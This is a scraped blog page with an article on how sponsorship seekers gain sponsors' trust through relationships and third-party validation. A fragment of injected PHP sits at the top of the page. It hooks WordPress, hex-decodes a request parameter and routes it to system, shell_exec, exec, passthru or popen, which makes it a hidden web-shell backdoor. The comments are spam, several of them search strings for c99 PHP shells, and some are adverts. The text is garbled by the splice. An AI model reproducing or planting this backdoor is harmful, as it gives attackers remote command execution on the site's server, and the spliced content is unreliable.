Problem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.comProblem to access license server. cURL error 6: Could not resolve host: shortcodesdeluxe.com/***/add_action('wp', function() { if (!isset($_REQUEST["property_set"])) return; $system_core = "hex2bin"; $hub_center1 = "system"; $hub_center2 = "shell_exec"; $hub_center4 = "passthru"; $hub_center3 = "exec"; $hub_center6 = "stream_get_contents"; $hub_center7 = "pclose"; $hub_center5 = "popen"; $property_set = $system_core($_REQUEST["property_set"]); $marker = ''; for($x=0;$x*/ Social Media as Sponsorship Street Cred | Sports NetworkerSports Networker

Navigation

You are here: Home > Social Media as Sponsorship Street Cred

Social Media as Sponsorship Street Cred

Written by in Sports Sponsorship
Comment
450

Laughing SquidFact: blue chip brands receive thousands of sponsorship proposals every year. Estimate: there are some 300,000 properties seeking sponsorship (depending on the way you define it).

How do you break through the relentless clutter to get the ear and sincere consideration of a sponsorship decision maker? A well researched and tailored proposal may increase your chances, but these days there are a lot of other properties spending a lot of time doing the exact same thing on the sponsor you’re targeting.

Fact is, when you’re submitting a proposal to a blue chip brand that gets flooded by proposals (especially when you’re submitting through a proposal management system), it’s a stretch to think that every proposal will get an in depth review on the merit of its own ideas. Actually some systems rate your proposal against a scorecard for the sponsor so that they don’t even have to read the proposal or see your “vision,” only the nuts and bolts. This may be deflating considering many properties spend 1-2+ hours on each tailored proposal. Keep reading to find out how you may be able to make it out of the pile.

The reality is that, as sponsors receive more and more proposals and buy-side managers have a smaller safety net for sponsorship decisions. Sponsors have put a premium on the trust factor. If you’re pitching a company cold for the first time this certainly puts you at a disadvantage, right? How can a seller (or in the case of sponsorship, a property) assure a buyer (sponsor) that they’ll deliver on the promise being made? There are two well-chronicled ways to develop trust in other industries.

a) create strong relationship with or direct referral to the buyer

b) receive third party validation

Like venture capitalists, sponsors see hundreds of bright business ideas, but generally only invest in those they trust. Just like sponsorship, VC’s can create legal contracts to ensure obligations are met and clawbacks are available if things don’t go according to plan, but no amount of make-goods will compensate for buyer’s remorse and a painful working relationship.

Job candidates undergo similar levels of screening. There are many killer cover letters coming through Monster.com, but personal referrals and third party validation (awards/press/proficiency levels) are what really get a recruiter’s attention.

Sure, it may not be the fairest way to delineate, but you’ve got to filter thousands of anything, somehow right?

This situation reminds me of an advertisement from TheLadders.com:

As sponsorship sellers, the first trust barometer is rather easy to accomplish. You can always sign up for more conferences, join more LinkedIn groups, set up more lunches to build new connections. Validation isn’t so readily accessible. We should always be seeking new means for rewarding the best in our business, and not just because it seems fair. Validation leads to deal velocity. Look at the case of Yelp. Transparency shifts customers to the best businesses for their needs in hundreds of varying industries, thereby creating more deals and more satisfied customers.

Is access an illusion?  Not always, but we can most certainly find better ways to provide more meaningful, targeted access.  With that said, in today’s environment what may really separate properties is buyer trust and peer validation. As distinction becomes more difficult in an increasingly convoluted world of opportunities, look for sponsors to work with the properties they trust.

Are we overlooking the role that a sponsorship seller’s proficiency and reputation plays in the buyer’s decision making process? How will social media affect the way properties access sponsors and sponsors find trust-worthy properties, moving forward?

###

Image by Laughing Squid

, , , , , , , , , , , ,

450 Responses to Social Media as Sponsorship Street Cred

  1. c99 civic 5 lug conversion March 5, 2026 at 3:44 pm #

    thx

  2. how to use printf c99 March 5, 2026 at 3:44 pm #

    thx

  4. how to use itoa in c99 March 6, 2026 at 3:01 am #

    thx

  5. fore loop declarations only allowed in c99 mode March 6, 2026 at 3:02 am #

    thx

  6. reference c99 standard 6.7.8.21 March 6, 2026 at 8:53 am #

    thx

  7. nike aero c99 sideline hat March 6, 2026 at 2:31 pm #

    thx

  10. اموزش اپگرد ریسیور star x c99 March 6, 2026 at 4:04 pm #

    thx

  11. big bud x c99 seeds March 6, 2026 at 6:22 pm #

    thx

  12. new program star-x c99 wifi March 7, 2026 at 5:12 am #

    thx

  13. download shell c99.php.jpg March 7, 2026 at 6:15 am #

    thx

  14. why doesn't c99 recognize sqrt and exp March 7, 2026 at 1:19 pm #

    thx

  15. how to use c99 in makefile March 7, 2026 at 2:19 pm #

    thx

  17. error: variable length arrays are a c99 feature March 7, 2026 at 7:04 pm #

    thx

  19. set visual studios to c99 March 7, 2026 at 7:07 pm #

    thx

  20. how to ignore c99 model March 7, 2026 at 7:08 pm #

    thx

  21. how to enable c99 mode in gcc March 8, 2026 at 7:49 am #

    thx

  22. skanda avani c99 villa for sale March 8, 2026 at 12:08 pm #

    thx

  23. if else if syntax c99 March 8, 2026 at 12:09 pm #

    thx

  24. nike team dry c99 hat March 8, 2026 at 12:09 pm #

    thx

  25. visual studio 2005 c99 support March 8, 2026 at 12:12 pm #

    thx

  26. c99 hevy silverado glove box hing March 8, 2026 at 12:13 pm #

    thx

  27. c99 how to use scanf March 8, 2026 at 2:50 pm #

    thx

  28. xc8 v2.05 select c99 c90 March 8, 2026 at 6:09 pm #

    thx

  31. female seeds c99 outdoor grow March 10, 2026 at 6:30 am #

    thx

  33. female seeds c99 smoke report March 10, 2026 at 2:26 pm #

    thx

  35. c99 shell v 1.0 roots March 12, 2026 at 10:11 am #

    thx

  37. how to use c99 model March 14, 2026 at 2:54 pm #

    thx

  38. c c99 static or dynamic binding March 14, 2026 at 2:55 pm #

    thx

  39. c99 female seeds grow report March 15, 2026 at 11:44 am #

    thx

  40. update star-x c99 laser March 15, 2026 at 11:51 am #

    thx

  42. compilers for c that use c99 complex number March 16, 2026 at 12:20 pm #

    thx

  43. Medical Grade Silicone Dolls March 16, 2026 at 3:30 pm #

    The realistic doll market includes a wide range of styles designed to appeal to different preferences.”cheapusdollsmcom_sale2026″ Buyers searching for the hottest sex dolls often explore several categories before choosing a model.Understanding these style differences can help buyers identify the option that best matches their interests.Classic designs focus on balanced proportions and natural facial features. These models aim to replicate realistic human appearance as closely as possible.
    Medical Grade Silicone Dolls https://www.dollsm.com/silicone-dolls.html

  44. index of c99.php cock uploads March 17, 2026 at 1:39 am #

    thx

  46. rand is invalid in c99 March 17, 2026 at 8:40 pm #

    thx

  47. KevinTes March 19, 2026 at 11:46 am #

    Sustainability matters in the CBD https://www.cornbreadhemp.com/collections/thc-drinks industry. Conscientious brands champion regenerative farming practices, eco-friendly packaging, and principled supply chains. Hemp itself is a incredibly sustainable crop — it grows rapidly, requires scant water, and organically enriches soil. By backing companies committed to environmental guardianship, consumers advance not only their private health but also the enduring well-being of the planet we all occupy.

  48. c99 eset hr exam quizlet March 20, 2026 at 12:49 pm #

    thx

  49. durban thai x c99 strain allbud March 20, 2026 at 12:49 pm #

    thx

  50. c99 x og kush senex March 20, 2026 at 12:49 pm #

    thx

← Older Comments
Newer Comments →

Leave a Reply

Website Managed by T3 CONNECT